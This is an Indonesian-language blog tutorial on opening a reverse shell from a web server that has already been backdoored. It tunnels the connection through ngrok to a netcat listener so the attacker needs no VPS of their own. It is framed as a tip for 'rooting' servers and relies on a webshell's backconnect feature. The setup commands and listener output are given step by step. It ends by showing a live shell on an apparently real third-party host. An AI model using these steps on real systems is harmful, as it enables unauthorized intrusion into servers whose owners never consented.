Backconnect Ngrok

Posted on May 3, 2019

Intro

Bagi temen temen yang mau rooting server tapi tidak punya VPS, ada cara lain yaitu dengan menggunakan ngrok, tapi tidak semua server atau web shell support backconnect dengan ngrok. tidak ada salahnya mencoba kan? hehe.

Tutorial

Disini saya menggunakan perl sebagai media backconnect antara server dan ngrok. OK lanjut ke alat tempurnya.

  • Ngrok Download Pilih sesuai sitem operasi kamu.
  • Server yang support perl sangat di anjurkan (sesuai dengan tutorial),
  • Netcat Download (disini saya menggunakan windows).

Download dan Auth Ngrok

Jangan lupa untuk buat akun ngrok di sini guna mengautentikasi token. Ektrak ngrok-XXX.zip nya lalu autentikasi token nya agar ngrok dapat berjalan. Ganti token sesuai dengan punyamu.

./ngrok authtoken initokenBqHnhg3_3X3JtBTSu1rNojz4kXXX

Konfigurasi Ngrok & Netcat

Selanjutnya jalankan ngrok dengan tcp, port sesuai selera misalkan:

./ngrok.exe tcp 1991

Pastikan ngrok berjalan dengan baik seperti di bawah ini,

ngrok by @inconshreveable                                                       (Ctrl+C to quit)

Session Status                online
Account                       Tan (Plan: Free)
Version                       2.3.23
Region                        United States (us)
Web Interface                 http://127.0.0.1:4040
Forwarding                    tcp://0.tcp.ngrok.io:16857 -> localhost:1991

Connections                   ttl     opn     rt1     rt5     p50     p90
                              0       0       0.00    0.00    0.00    0.00

Jalankan netcat, pastikan port sesuai dengan port yang di jalankan di ngrok.

./nc.exe -lnvp 1991

Pastikan netcat berjalan walau masih listening,

λ .\nc.exe -lnvp 1991
listening on [any] 1991 ...

Backconnect Server

Setelah semua terkonfigurasi, tinggal melakukan backconnect server ke komputer kita, pastikan webshell yang kita gunakan mempunyai fitur backconnect.

Fitur Backconnet di webshell/backdoor

Setelah semua terkonfigurasi, isi server dengan 0.tcp.ngrok.io dan isi Port dengan port yang di buat oleh ngrok misal 16857 di sini saya menggunakan perl. Untuk Bind port to /bin/sh Perl abaikan saja. Klik »

Contoh backconect

Cek di netcat, apakah sukses melalukan backconnect, jika sudah balasan dari server seperti di bawah, berarti sudah sukses backconnet,

λ .\nc.exe -lnvp 1991
listening on [any] 1991 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 62032
sh: no job control in this shell
sh-4.2$

Uji Coba Command Linux

Selanjutnya tinggal Spawn TTY Shell. Ok kita coba jalankan command untuk memastikan kita sudah benar benar mendapak shell nya.

sh-4.2$ uname -a                                                                                
uname -a                                                                                        
Linux thewhitecloud.in 3.10.0-514.16.1.el7.x86_64 #1 SMP Wed Apr 12 15:04:24 UTC 2017 x86_64 x86
_64 x86_64 GNU/Linux 

Ok sudah berhasil, tips ini berguna bagi kalian yang tidak mempunyai VPS saat rooting server. Sekian dan terima kasih.